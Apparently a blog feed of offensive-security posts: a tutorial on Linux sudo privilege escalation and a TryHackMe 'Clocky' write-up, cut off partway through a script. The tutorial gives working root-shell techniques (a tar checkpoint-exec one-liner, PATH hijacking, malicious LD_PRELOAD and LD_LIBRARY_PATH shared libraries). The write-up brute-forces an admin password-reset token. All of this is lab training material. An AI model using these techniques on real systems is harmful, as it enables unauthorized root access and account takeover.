<p>Btw, check out my <a href="https://wizarddos.github.io/blog">normal blog</a>, where I post about overall IT and Programming</p>

<p>That’s it - see you next time</p>]]></content><author><name>wizarddos</name></author><category term="tryhackme" /><summary type="html"><![CDATA[(Wanna watch a video version?) Another day, another challenge. This time is easy one. I don’t know what to expect. I only know that there will be a webserver Let’s try it It comes from TryHackMe]]></summary></entry><entry><title type="html">Privilege escalation - abusing sudo</title><link href="https://wizarddos.github.io/blog/offensive/2024/04/25/sudo-privilege-escalation.html" rel="alternate" type="text/html" title="Privilege escalation - abusing sudo" /><published>2024-04-25T00:00:00+00:00</published><updated>2024-04-25T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/offensive/2024/04/25/sudo-privilege-escalation</id><content type="html" xml:base="https://wizarddos.github.io/blog/offensive/2024/04/25/sudo-privilege-escalation.html"><![CDATA[<p>Hi there - first time posting here</p>

<p>While managing linux-based servers, some commands need to be run as root.
However giving full root privileges to an account might be dangerous. Why should <code class="language-plaintext highlighter-rouge">www-data</code> user be able to run <code class="language-plaintext highlighter-rouge">/bin/bash</code> as root?</p>

<p>In addition, if a malicious actor accesses the machine using <code class="language-plaintext highlighter-rouge">sudo</code>, it gives them new privilege escalation vector.</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>rick:
Matching Defaults entries <span class="k">for </span>rick on Hijack:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\\</span>:/usr/local/bin<span class="se">\\</span>:/usr/sbin<span class="se">\\</span>:/usr/bin<span class="se">\\</span>:/sbin<span class="se">\\</span>:/bin<span class="se">\\</span>:/snap/bin,
    env_keep+<span class="o">=</span>LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    <span class="o">(</span>root<span class="o">)</span> /usr/sbin/apache2 <span class="nt">-f</span> /etc/apache2/apache2.conf <span class="nt">-d</span> /etc/apache2
</code></pre></div></div>
<p class="subtext">(it comes from a TryHackMe box called <code class="language-plaintext highlighter-rouge">Hijack</code>)</p>

<p>And that’s our focus today. As a hacker we’ll be learning new ways to elevate our privileges in a system
<!--more--></p>

<h2 id="case-study">Case study</h2>

<p>We’re gonna obtain a root shell in 3 different scenarios</p>

<ol>
  <li>Using typical binary</li>
  <li>Via user-created script</li>
  <li>Utilizing dynamic libraries</li>
</ol>

<h3 id="case-1---typical-binary">Case 1 - Typical binary</h3>

<p>Imagine this:</p>

<p>After succesfully exploiting RCE on a website, we gain user access. Now it’s time to escalate</p>

<p>We’re checking what can be run as <code class="language-plaintext highlighter-rouge">root</code></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>

Matching Defaults entries <span class="k">for </span>lin on bountyhacker:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\\</span>:/usr/local/bin<span class="se">\\</span>:/usr/sbin<span class="se">\\</span>:/usr/bin<span class="se">\\</span>:/sbin<span class="se">\\</span>:/bin<span class="se">\\</span>:/snap/bin

User lin may run the following commands on bountyhacker:
    <span class="o">(</span>root<span class="o">)</span> /bin/tar
</code></pre></div></div>
<p class="subtext">(Source: <a href="https://tryhackme.com/r/room/cowboyhacker">Bounty Hacker box</a>)</p>

<p>There is one such binary, <strong>but how can we use it?</strong></p>

<p>There is a website called <a href="https://gtfobins.github.io/">GTFOBins</a> - it has lots of payloads, ready to utilize.</p>

<p>It doesn’t matter if it’s <code class="language-plaintext highlighter-rouge">sudo</code>, <code class="language-plaintext highlighter-rouge">SUID bit</code> set, or linux capabilities - it has it all</p>

<p>After searching for <code class="language-plaintext highlighter-rouge">tar</code> and choosing the <code class="language-plaintext highlighter-rouge">SUDO</code> option, we find this payload</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo tar</span> <span class="nt">-cf</span> /dev/null /dev/null <span class="nt">--checkpoint</span><span class="o">=</span>1 <span class="nt">--checkpoint-action</span><span class="o">=</span><span class="nb">exec</span><span class="o">=</span>/bin/sh
</code></pre></div></div>
<p>Executing payload gives us root</p>

<p>Now, time to jump to the next case</p>

<h3 id="case-2---scripts">Case 2 - Scripts</h3>

<p>Running with <code class="language-plaintext highlighter-rouge">sudo</code> is not only limited to compiled binaries. We can run certain scripts as well</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>

Matching Defaults entries <span class="k">for </span>user on debian:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\\</span>:/usr/local/bin<span class="se">\\</span>:/usr/sbin<span class="se">\\</span>:/usr/bin<span class="se">\\</span>:/sbin<span class="se">\\</span>:/bin<span class="se">\\</span>:/snap/bin

User user may run the following commands on debian:
    <span class="o">(</span>root<span class="o">)</span> /home/user/backup.sh
</code></pre></div></div>

<p>Our script will create backup from <code class="language-plaintext highlighter-rouge">/home/user</code> and place it in <code class="language-plaintext highlighter-rouge">/var/backups</code></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/bash</span>

<span class="nv">source_dir</span><span class="o">=</span><span class="s2">"/home/user"</span>
<span class="nv">backup_dir</span><span class="o">=</span><span class="s2">"/var/backups"</span>

<span class="k">if</span> <span class="o">[</span> <span class="o">!</span> <span class="nt">-d</span> <span class="s2">"</span><span class="nv">$source_dir</span><span class="s2">"</span> <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">exit </span>1
<span class="k">fi

</span><span class="nb">mkdir</span> <span class="nt">-p</span> <span class="s2">"</span><span class="nv">$backup_dir</span><span class="s2">"</span>

<span class="nv">timestamp</span><span class="o">=</span><span class="si">$(</span><span class="nb">date</span> +<span class="s2">"%Y%m%d_%H%M%S"</span><span class="si">)</span>
<span class="nv">backup_filename</span><span class="o">=</span><span class="s2">"user_home_backup_</span><span class="nv">$timestamp</span><span class="s2">.tar.gz"</span>

<span class="nb">tar</span> <span class="nt">-czf</span> <span class="s2">"</span><span class="nv">$backup_dir</span><span class="s2">/</span><span class="nv">$backup_filename</span><span class="s2">"</span> <span class="nt">-C</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">dirname</span> <span class="s2">"</span><span class="nv">$source_dir</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">basename</span> <span class="s2">"</span><span class="nv">$source_dir</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>

<span class="k">if</span> <span class="o">[</span> <span class="nv">$?</span> <span class="nt">-ne</span> 0 <span class="o">]</span><span class="p">;</span> <span class="k">then
    </span><span class="nb">exit </span>1
<span class="k">fi</span>
</code></pre></div></div>

<p>As you can see, we use <code class="language-plaintext highlighter-rouge">tar</code> here. But how is it exploitable?</p>

<p>As it uses <strong>relative path</strong> - what does it mean?</p>

<p>When script is executed and it uses a binary, system needs to find it first</p>

<p>So it searches:</p>
<ol>
  <li>For such in current direcory</li>
  <li>If nothing was found, then it looks through all directories in <code class="language-plaintext highlighter-rouge">PATH</code> variable - from left to right</li>
</ol>

<p>In <code class="language-plaintext highlighter-rouge">/home/user</code> create a new file called <code class="language-plaintext highlighter-rouge">tar</code> with <code class="language-plaintext highlighter-rouge">/bin/bash</code> in it. Then we have root</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">pwd</span>
/home/user

<span class="nv">$ </span><span class="nb">echo</span> <span class="s2">"/bin/bash"</span> <span class="o">&gt;</span> <span class="nb">tar</span>
<span class="nv">$ </span><span class="nb">sudo</span> /home/user/backup.sh 

<span class="c">#</span>
</code></pre></div></div>

<p>That’s how we hijacked a binary. Simmilarly we can modify python libraries.</p>

<p>The file with the code is called <code class="language-plaintext highlighter-rouge">restore.py</code></p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">shutil</span> <span class="kn">import</span> <span class="n">copy2</span> <span class="k">as</span> <span class="n">backup</span>

<span class="n">src_file</span> <span class="o">=</span> <span class="s">"/home/morpheus/kingdom"</span>
<span class="n">dst_file</span> <span class="o">=</span> <span class="s">"/kingdom_backup/kingdom"</span>

<span class="n">backup</span><span class="p">(</span><span class="n">src_file</span><span class="p">,</span> <span class="n">dst_file</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"The kingdom backup has been done!"</span><span class="p">)</span>
</code></pre></div></div>
<p class="subtext">(taken from <a href="https://tryhackme.com/r/room/dreaming">Dreaming on tryhackme</a>)</p>

<p>As we see, it uses <code class="language-plaintext highlighter-rouge">shutil</code> to copy files - time to find that library</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>find / <span class="nt">-name</span> shutil<span class="k">*</span>  2&gt;&gt;/dev/null
/usr/lib/python3.8/shutil.py
<span class="o">[</span>...]
</code></pre></div></div>
<p>It’s permissions allow us to edit it - so we can add python shell (For example from <a href="https://revshells.com/">revshells.com</a>)</p>

<p>Last but not least!</p>

<h3 id="case-3---abusing-dynamic-libraries">Case 3 - abusing dynamic libraries</h3>

<p>There are actually two types in here - yet both are really similar</p>

<p>We’ll be using dynamic libraries to execute our code.</p>

<h4 id="ld_library_path"><code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code></h4>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>rick:
Matching Defaults entries <span class="k">for </span>rick on Hijack:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\\</span>:/usr/local/bin<span class="se">\\</span>:/usr/sbin<span class="se">\\</span>:/usr/bin<span class="se">\\</span>:/sbin<span class="se">\\</span>:/bin<span class="se">\\</span>:/snap/bin,
    env_keep+<span class="o">=</span>LD_LIBRARY_PATH

User rick may run the following commands on Hijack:
    <span class="o">(</span>root<span class="o">)</span> /usr/sbin/apache2 <span class="nt">-f</span> /etc/apache2/apache2.conf <span class="nt">-d</span> /etc/apache2
</code></pre></div></div>
<p class="subtext">(Comes from <a href="https://tryhackme.com/r/room/hijack">Hijack box on TryHackme</a>)</p>

<p>As we see <code class="language-plaintext highlighter-rouge">sudo -l</code> returned this line</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>env_keep+=LD_LIBRARY_PATH
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code> contains list of directories which search for shared libraries first</p>

<p>To exploit it, we need to find a library to overwrite.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>ldd /usr/sbin/apache2
        linux-vdso.so.1 <span class="o">=&gt;</span>  <span class="o">(</span>0x00007ffd7cb32000<span class="o">)</span>
        libpcre.so.3 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libpcre.so.3 <span class="o">(</span>0x00007fe1c7227000<span class="o">)</span>
        libaprutil-1.so.0 <span class="o">=&gt;</span> /usr/lib/x86_64-linux-gnu/libaprutil-1.so.0 <span class="o">(</span>0x00007fe1c7000000<span class="o">)</span>
        libapr-1.so.0 <span class="o">=&gt;</span> /usr/lib/x86_64-linux-gnu/libapr-1.so.0 <span class="o">(</span>0x00007fe1c6dce000<span class="o">)</span>
        libpthread.so.0 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libpthread.so.0 <span class="o">(</span>0x00007fe1c6bb1000<span class="o">)</span>
        libc.so.6 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libc.so.6 <span class="o">(</span>0x00007fe1c67e7000<span class="o">)</span>
        libcrypt.so.1 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libcrypt.so.1 <span class="o">(</span>0x00007fe1c65af000<span class="o">)</span>
        libexpat.so.1 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libexpat.so.1 <span class="o">(</span>0x00007fe1c6386000<span class="o">)</span>
        libuuid.so.1 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libuuid.so.1 <span class="o">(</span>0x00007fe1c6181000<span class="o">)</span>
        libdl.so.2 <span class="o">=&gt;</span> /lib/x86_64-linux-gnu/libdl.so.2 <span class="o">(</span>0x00007fe1c5f7d000<span class="o">)</span>
        /lib64/ld-linux-x86-64.so.2 <span class="o">(</span>0x00007fe1c773c000<span class="o">)</span>
</code></pre></div></div>

<p>I’m gonna use <code class="language-plaintext highlighter-rouge">libcrypt.so.1</code> - in <code class="language-plaintext highlighter-rouge">/tmp</code> create a file called <code class="language-plaintext highlighter-rouge">malicious.c</code></p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
</span>
<span class="k">static</span> <span class="kt">void</span> <span class="nf">hijack</span><span class="p">()</span> <span class="n">__attribute__</span><span class="p">((</span><span class="n">constructor</span><span class="p">));</span>

<span class="kt">void</span> <span class="nf">hijack</span><span class="p">()</span> <span class="p">{</span>
        <span class="n">unsetenv</span><span class="p">(</span><span class="s">"LD_LIBRARY_PATH"</span><span class="p">);</span>
        <span class="n">setresuid</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
        <span class="n">system</span><span class="p">(</span><span class="s">"/bin/bash -p"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then, we need to compile it into a shared library with that name, not like a typical C code.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-o</span> /tmp/libcrypt.so.1 <span class="nt">-shared</span> <span class="nt">-fPIC</span> /tmp/malicious.c
</code></pre></div></div>

<p>Then we have to execute that specific command, but while setting <code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code> to our malicious library location</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span><span class="nv">LD_LIBRARY_PATH</span><span class="o">=</span>/tmp /usr/sbin/apache2 <span class="nt">-f</span> /etc/apache2/apache2.conf <span class="nt">-d</span> /etc/apache2

<span class="c">#</span>
</code></pre></div></div>

<p>And boom! We have root</p>

<h4 id="ld_preload"><code class="language-plaintext highlighter-rouge">LD_PRELOAD</code></h4>

<p><code class="language-plaintext highlighter-rouge">LD_LIBRARY_PATH</code> is not the only dangerous <code class="language-plaintext highlighter-rouge">env_keep</code> option</p>

<p>There’s another one as well</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo</span> <span class="nt">-l</span>
<span class="o">[</span><span class="nb">sudo</span><span class="o">]</span> password <span class="k">for </span>saad: 
Matching Defaults entries <span class="k">for </span>saad on m4lware:
    env_reset, mail_badpass,
    <span class="nv">secure_path</span><span class="o">=</span>/usr/local/sbin<span class="se">\:</span>/usr/local/bin<span class="se">\:</span>/usr/sbin<span class="se">\:</span>/usr/bin<span class="se">\:</span>/sbin<span class="se">\:</span>/bin<span class="se">\:</span>/snap/bin, env_keep+<span class="o">=</span>LD_PRELOAD

User saad may run the following commands on m4lware:
    <span class="o">(</span>root<span class="o">)</span> /usr/bin/ping
</code></pre></div></div>
<p class="subtext">(Source: <a href="https://tryhackme.com/r/room/creative">Creative box, THM</a>)</p>

<p><code class="language-plaintext highlighter-rouge">LD_PRELOAD</code> specifies what shared libraries are used in execution</p>

<p>Let’s create a file called lib.c</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;sys/types.h&gt;</span><span class="cp">
</span>
<span class="kt">void</span> <span class="nf">_init</span><span class="p">()</span> <span class="p">{</span>
	<span class="n">unsetenv</span><span class="p">(</span><span class="s">"LD_PRELOAD"</span><span class="p">);</span>
	<span class="n">setuid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
	<span class="n">setgid</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
	<span class="n">system</span><span class="p">(</span><span class="s">"/bin/bash -p"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Compile it as a shared library as well - remember about the name.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>gcc <span class="nt">-fPIC</span> <span class="nt">-shared</span> <span class="nt">-nostartfiles</span> <span class="nt">-o</span> lib.o lib.c
</code></pre></div></div>

<p>And now it’s time to run that ping command.</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span><span class="nv">LD_PRELOAD</span><span class="o">=</span>/home/saad/lib.o /usr/bin/ping 127.0.0.1

<span class="c">#</span>
</code></pre></div></div>

<p>We have root as well.</p>

<h2 id="conclusion">Conclusion</h2>

<p>That’s it. I hope you’ve learned something new</p>

<p>How do you like this new blog by the way? Do you have some suggestions for UI?</p>

<p>Anyways, thanks for reading - visit <a href="&quot;https://wizarddos.github.io/blog&quot;">main blog</a> as well and see you next time</p>]]></content><author><name>wizarddos</name></author><category term="offensive" /><summary type="html"><![CDATA[Hi there - first time posting here While managing linux-based servers, some commands need to be run as root. However giving full root privileges to an account might be dangerous. Why should www-data user be able to run /bin/bash as root? In addition, if a malicious actor accesses the machine using sudo, it gives them new privilege escalation vector. $ sudo -l [sudo] password for rick: Matching Defaults entries for rick on Hijack: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin\\:/snap/bin, env_keep+=LD_LIBRARY_PATH User rick may run the following commands on Hijack: (root) /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2 (it comes from a TryHackMe box called Hijack) And that’s our focus today. As a hacker we’ll be learning new ways to elevate our privileges in a system]]></summary></entry><entry><title type="html">Clocky writeup (TryHackMe)</title><link href="https://wizarddos.github.io/blog/tryhackme/2024/04/01/clocky-writeup.html" rel="alternate" type="text/html" title="Clocky writeup (TryHackMe)" /><published>2024-04-01T00:00:00+00:00</published><updated>2024-04-01T00:00:00+00:00</updated><id>https://wizarddos.github.io/blog/tryhackme/2024/04/01/clocky-writeup</id><content type="html" xml:base="https://wizarddos.github.io/blog/tryhackme/2024/04/01/clocky-writeup.html"><![CDATA[<p>Hi there - new machine on <a href="https://tryhackme.com/r/room/clocky">tryhackme</a> came out 3 days ago, so let’s crack it together.</p>

<p>It’s called <code class="language-plaintext highlighter-rouge">clocky</code>. Name spoils a little of content. We’ve got 6 flags to grab.</p>

<p>So, off we go
<!--more--></p>

<h2 id="writeup">Writeup</h2>
<p>First - export machines IP as variable</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ export IP='IP Here'
</code></pre></div></div>

<p>Then, I started with <code class="language-plaintext highlighter-rouge">rustscan</code></p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>rustscan <span class="nt">-a</span> <span class="nv">$IP</span>
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| <span class="o">{}</span>  <span class="o">}</span>| <span class="o">{</span> <span class="o">}</span> |<span class="o">{</span> <span class="o">{</span>__ <span class="o">{</span>_   _<span class="o">}{</span> <span class="o">{</span>__  /  ___<span class="o">}</span> / <span class="o">{}</span> <span class="se">\ </span>|  <span class="sb">`</span>| |
| .-. <span class="se">\|</span> <span class="o">{</span>_<span class="o">}</span> |.-._<span class="o">}</span> <span class="o">}</span> | |  .-._<span class="o">}</span> <span class="o">}</span><span class="se">\ </span>    <span class="o">}</span>/  /<span class="se">\ </span> <span class="se">\|</span> |<span class="se">\ </span> |
<span class="sb">`</span>-<span class="s1">' `-'</span><span class="sb">`</span><span class="nt">-----</span><span class="s1">'`----'</span>  <span class="sb">`</span>-<span class="s1">'  `----'</span>  <span class="sb">`</span><span class="nt">---</span><span class="s1">' `-'</span>  <span class="sb">`</span>-<span class="s1">'`-'</span> <span class="sb">`</span>-<span class="s1">'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
0day was here ♥

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '</span><span class="nt">-b</span> 1048476<span class="s1">'.
Open 10.10.4.9:22
Open 10.10.4.9:80
Open 10.10.4.9:8000
Open 10.10.4.9:8080
</span></code></pre></div></div>

<p>4 ports dicovered - time for nmap</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ nmap -sC -sV $IP -p22,80,8000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-30 22:47 CET
Nmap scan report for 10.10.4.9
Host is up (0.054s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d9:42:e0:c0:d0:a9:8a:c3:82:65:ab:1e:5c:9c:0d:ef (RSA)
|   256 ff:b6:27:d5:8f:80:2a:87:67:25:ef:93:a0:6b:5b:59 (ECDSA)
|_  256 e1:2f:4a:f5:6d:f1:c4:bc:89:78:29:72:0c:ec:32:d2 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: 403 Forbidden
8000/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-robots.txt: 3 disallowed entries 
|_/*.sql$ /*.zip$ /*.bak$
|_http-title: 403 Forbidden
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
</code></pre></div></div>

<p>I didn’t scan <code class="language-plaintext highlighter-rouge">8080</code> with nmap - as it started around 10 min after machine deployment</p>

<p>There was <strong>python werkzeug</strong> server running in there</p>

<h3 id="webservers-scanning">Webservers scanning</h3>

<p>Port <code class="language-plaintext highlighter-rouge">80</code> gave me <code class="language-plaintext highlighter-rouge">403</code> - and I couldn’t bypass it in any way</p>

<p>Then, <code class="language-plaintext highlighter-rouge">8000</code> did as well - but I’ve discovered <code class="language-plaintext highlighter-rouge">robots.txt</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>User-agent: *
Disallow: /*.sql$
Disallow: /*.zip$
Disallow: /*.bak$

Flag 1: [REDACTED]
</code></pre></div></div>

<p>We’ve got the first flag - Also we know there might be some files in there</p>

<p>After a little enum<code class="language-plaintext highlighter-rouge">.sql</code> and <code class="language-plaintext highlighter-rouge">.bak</code> gave nothing. So I tried <code class="language-plaintext highlighter-rouge">.zip</code></p>

<p>I couldn’t enumerate anything with <code class="language-plaintext highlighter-rouge">gobuster</code>, so i tried <code class="language-plaintext highlighter-rouge">ffuf</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ ffuf -w /usr/share/wordlists/dirb/big.txt -u "http://$IP:8000/FUZZ.zip" -fw 1   

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.4.9:8000/FUZZ.zip
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 1
________________________________________________

index                   [Status: 200, Size: 1922, Words: 6, Lines: 11, Duration: 47ms]
:: Progress: [20469/20469] :: Job [1/1] :: 435 req/sec :: Duration: [0:00:31] :: Errors: 0 ::
</code></pre></div></div>

<p>There is a file called <code class="language-plaintext highlighter-rouge">index.zip</code></p>

<h3 id="zip-extraction">Zip extraction</h3>

<p>There are 2 files inside</p>
<ol>
  <li>flag2.txt - containing a flag. 4 more to go</li>
  <li>app.py - python code that looks like a server code</li>
</ol>

<h3 id="source-code-analysis-and-port-8080-exploitation">Source code analysis and port 8080 exploitation</h3>

<p>Turns out that’s the code for site on port 8080 - we’ve discovered few endpoints</p>
<ul>
  <li><code class="language-plaintext highlighter-rouge">/administrator</code> - admin panel with login form</li>
  <li><code class="language-plaintext highlighter-rouge">/password_reset</code></li>
  <li><code class="language-plaintext highlighter-rouge">/forgot_password</code></li>
</ul>

<p>And about those 2 I’d like to talk. We’ll be exploiting reset password functionality</p>

<p>A brief overlook on how it works</p>
<ul>
  <li>Go to <code class="language-plaintext highlighter-rouge">/forgot_password</code> and put the username there</li>
  <li>If user is found, website generates token off it’s username and current date (Timezone is UTC - and it’s very important) using this code (lines 96-98)
    <div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">value</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="n">datetime</span><span class="p">.</span><span class="n">now</span><span class="p">()</span>
<span class="n">lnk</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">value</span><span class="p">)[:</span><span class="o">-</span><span class="mi">4</span><span class="p">]</span> <span class="o">+</span> <span class="s">" . "</span> <span class="o">+</span> <span class="n">username</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span>
<span class="n">lnk</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha1</span><span class="p">(</span><span class="n">lnk</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)).</span><span class="n">hexdigest</span><span class="p">()</span>				
</code></pre></div>    </div>
  </li>
  <li>Then, go to <code class="language-plaintext highlighter-rouge">/password_reset</code> and pass the token there - you can reset your password</li>
</ul>

<p>Sadly, in <code class="language-plaintext highlighter-rouge">app.py</code> there is no parameter name mentioned - but a quick brute-force gave me <code class="language-plaintext highlighter-rouge">token</code> (pretty straight-forward)</p>

<p>We can’t intercept the token in any way, so we need to generate it on out own. No one can send reqest and then run the code in exact same time - so we gotta write the script doing both</p>

<p>As there can also be some difficulties with matching exacly milisecods, we need to brute-force</p>

<p>I’ve wrote this script - it gave me the token, but after 2 or 3 tries so if it doesn’t pass it at first, re-run it</p>
<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="kn">import</span> <span class="nn">requests</span>
<span class="kn">import</span> <span class="nn">hashlib</span>
<span class="kn">import</span> <span class="nn">pytz</span>


<span class="kn">from</span> <span class="nn">datetime</span> <span class="kn">import</span> <span class="n">datetime</span>

<span class="k">def</span> <span class="nf">generateToken</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">ip</span><span class="p">,</span> <span class="n">date</span><span class="p">):</span>    
    <span class="n">req</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="n">post</span><span class="p">(</span><span class="sa">f</span><span class="s">"http://</span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">/forgot_password"</span><span class="p">,</span> <span class="n">data</span> <span class="o">=</span> <span class="p">{</span><span class="s">"username"</span><span class="p">:</span> <span class="n">username</span><span class="p">})</span>
    
    <span class="n">lnk</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">date</span><span class="p">)</span> <span class="o">+</span> <span class="s">" . "</span> <span class="o">+</span> <span class="n">username</span><span class="p">.</span><span class="n">upper</span><span class="p">()</span>
    <span class="n">token</span> <span class="o">=</span> <span class="n">hashlib</span><span class="p">.</span><span class="n">sha1</span><span class="p">(</span><span class="n">lnk</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">"utf-8"</span><span class="p">)).</span><span class="n">hexdigest</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">token</span>


<span class="n">username</span> <span class="o">=</span>  <span class="s">"administrator"</span>
<span class="n">ip</span> <span class="o">=</span> <span class="s">"10.10.39.129:8080"</span>

<span class="k">for</span> <span class="n">ms</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
    <span class="n">ms_str</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">ms</span><span class="si">:</span><span class="mi">02</span><span class="si">}</span><span class="s">"</span>
    <span class="n">time</span> <span class="o">=</span> <span class="n">datetime</span><span class="p">.</span><span class="n">utcnow</span><span class="p">().</span><span class="n">strftime</span><span class="p">(</span><span class="s">'%Y-%m-%d %H:%M:%S.'</span><span class="p">)</span><span class="o">+</span><span class="n">ms_str</span>
    <span class="n">token</span> <span class="o">=</span> <span class="n">generateToken</span><span class="p">(</span><span class="n">username</span><span class="p">,</span> <span class="n">ip</span><span class="p">,</span> <span class="n">time</span><span class="p">)</span>
    
